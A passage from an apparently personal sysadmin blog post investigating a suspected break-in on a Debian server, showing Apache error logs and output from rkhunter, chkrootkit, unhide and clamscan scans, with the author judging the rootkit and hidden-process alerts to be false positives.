TCP port 20000 on which usermin listens by default is filtered by an iptables rules for all hosts incoming connections, whether webmin logins are permitted only from few IP addresses. Thus this scenario, though more possible than a direct SSH login with root sniffed password still seems to me not very probable.

  • Therefore as a third scenario (most likely what happened), I assume some of the PHP forms on the server or some other undefined PHP excecutable via Apache variable script was missing definition.

 

Actually saw in /var/log/apache2/error.log plenty of re-occuring warnings of existing undefined variables:

[Mon Oct 29 16:30:43 2012] [error] [client 213.149.142.73] PHP Notice:  Undefined variable: not_assign in /home/site_dir/www/modules/start.mod.php on line 121, referer: http://site-domain-name.com/start?qid=3&answered_id=4
[Mon Oct 29 16:30:43 2012] [error] [client 213.149.142.73] PHP Notice:  Undefined variable: counter_cookie in /home/site_dir/www/modules/start.mod.php on line 130, referer: http://site-domain-name.com/start?qid=3&answered_id=4
[Mon Oct 29 16:30:43 2012] [error] [client 213.149.142.73] PHP Notice:  Undefined variable: campaign_cukie in /home/site_dir/www/modules/start.mod.php on line 135, referer: http://site-domain-name.com/start?qid=3&answered_id=4
[Mon Oct 29 16:30:43 2012] [error] [client 213.149.142.73] PHP Notice:  Undefined index: actions in /home/site_dir/www/counter/count.php on line 11, referer: http://site-domain-name/start?qid=3&answered_id=4
[Mon Oct 29 16:30:43 2012] [error] [client 213.149.142.73] PHP Notice:  Undefined variable: flag2 in /home/site_dir/www/counter/count.php on line 52, referer: http://iqtest.bg/start?qid=3&answered_id=4
 

Taking this in consideration, I assume the attacker, entered the system finding about the undefined variables, defining them and somehow achieving access to the www-data Apache user shell, and through this shell running some 0day Linux kernel exploit to gain root access and download and install mysqljackpot exploit scanner tool.

Logically as it is common in situations like this, I used rkhunter, chkrootkit and unhide tools to check if the server's main binaries and kernel modules are compromised and is there a rootkit installed (earlier written a post on that here)

In short to do checks, installed rkhunter, chkrootkit and unhide with apt-get (as this is a Debian Squeeze server):

apt-get install --yes rkhunter unhide chkrootkit
….

 

Afterwards run in a row:
 

# for i in $(echo proc sys brute); do unhide $i; done
....
......
# chkrootkit
...
.....
# rkhuter --check
...
....

Reports, of the three ones are like so:

Unhide 20100201
http://www.security-projects.com/?Unhide

[*]Searching for Hidden processes through /proc scanning
# for i in $(echo proc sys brute); do unhide $i; done

[*]Starting scanning using brute force against PIDS with fork()

Unhide 20100201
http://www.security-projects.com/?Unhide

[*]Searching for Hidden processes through kill(..,0) scanning

[*]Searching for Hidden processes through  comparison of results of system calls

[*]Searching for Hidden processes through getpriority() scanning

[*]Searching for Hidden processes through getpgid() scanning

[*]Searching for Hidden processes through getsid() scanning

[*]Searching for Hidden processes through sched_getaffinity() scanning

[*]Searching for Hidden processes through sched_getparam() scanning

[*]Searching for Hidden processes through sched_getscheduler() scanning

[*]Searching for Hidden processes through sched_rr_get_interval() scanning

[*]Searching for Hidden processes through sysinfo() scanning

HIDDEN Processes Found: 1
Unhide 20100201
http://www.security-projects.com/?Unhide

Found HIDDEN PID: 4994
Found HIDDEN PID: 13374
Found HIDDEN PID: 14931
Found HIDDEN PID: 18292
Found HIDDEN PID: 19199
Found HIDDEN PID: 22651
[*]Starting scanning using brute force against PIDS with Threads

Found HIDDEN PID: 3296
Found HIDDEN PID: 30790

# chkrootkit -q

/usr/lib/pymodules/python2.5/.path /usr/lib/pymodules/python2.6/.path /lib/init/rw/.ramfs

# rkhunter –check

System checks summary
=====================

File properties checks…
    Files checked: 137
    Suspect files: 0

Rootkit checks…
    Rootkits checked : 245
    Possible rootkits: 2
    Rootkit names    : Xzibit Rootkit, Xzibit Rootkit

Applications checks…
    All checks skipped

The system checks took: 1 minute and 5 seconds

All results have been written to the log file (/var/log/rkhunter.log)

One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter.log)

 

Reports from unhide and chkrootkit,  not seem troubling, however I was concerned about the report from rkhunter – Rootkit names    : Xzibit Rootkit, Xzibit Rootkit.

To get some more info on why chkrootkit, thinks, system is infected with Xzibit (which by the way is an artistic alias of a RAP singer from the 1980's 🙂 I check in /var/log/rkhunter.log

 

# grep -i xzibit /var/log/rkhunter.log
[16:52:48] Checking for Xzibit Rootkit...
[16:52:48] Xzibit Rootkit                                    [ Not found ]
[16:52:56]          Found string 'hdparm' in file '/etc/init.d/hdparm'. Possible rootkit: Xzibit Rootkit
[16:52:56]          Found string 'hdparm' in file '/etc/init.d/.depend.boot'. Possible rootkit: Xzibit Rootkit
[16:53:01] Rootkit names    : Xzibit Rootkit, Xzibit Rootkit
 

Onwards I checked content of hdparm and .depend.boot and there I don't see nothing irregular. They both are files from legitimate Debian install, I've checked if they belong to a deb packages as well if they are existing on other Debian Squeeze servers I administer as well as on my Debian Desktop notebook, everywhere they're present, hdparm is part of hdparm deb and .depend.boot is loaded by /etc/init.d/rc script, containing some user string references:

# grep -rli .depend.boot *
rc
 

# dpkg -S /etc/init.d/hdparm
# hdparm: /etc/init.d/hdparm
  /etc/init.d/.depend.boot
# dpkg -S /etc/init.d/.depend.boot
dpkg: /etc/init.d/.depend.boot not found.

 

Another troubling thing was unhide's return:

HIDDEN Processes Found: 1

 

After a close examination of the system as well as research on the internet, I've figured out this is also a false positive. For sake of not distributing, Script Kiddie tools, which might put in danger other system administrators I will not put a download link to mysqljackpot publicly. Anyways if someone is willing to have it for study purposes, just drop me a mail and I will post you temporary download link to it.

 

Also as webmin and usermin is not frequently used, I've decided to completely stop and disable them to load on boot.

I've done also a clamav scan with (lowered priority) over the whole file system with:

# nice -19 clamscan -r /*

in order to determine, if there is no PHPShell or some kind of other remote admin Script kiddie script in perl / php etc. installed.
Tomorrow, I will continue investigatin what is happening and hopefully once I got, how the abuser entered the server will update this post.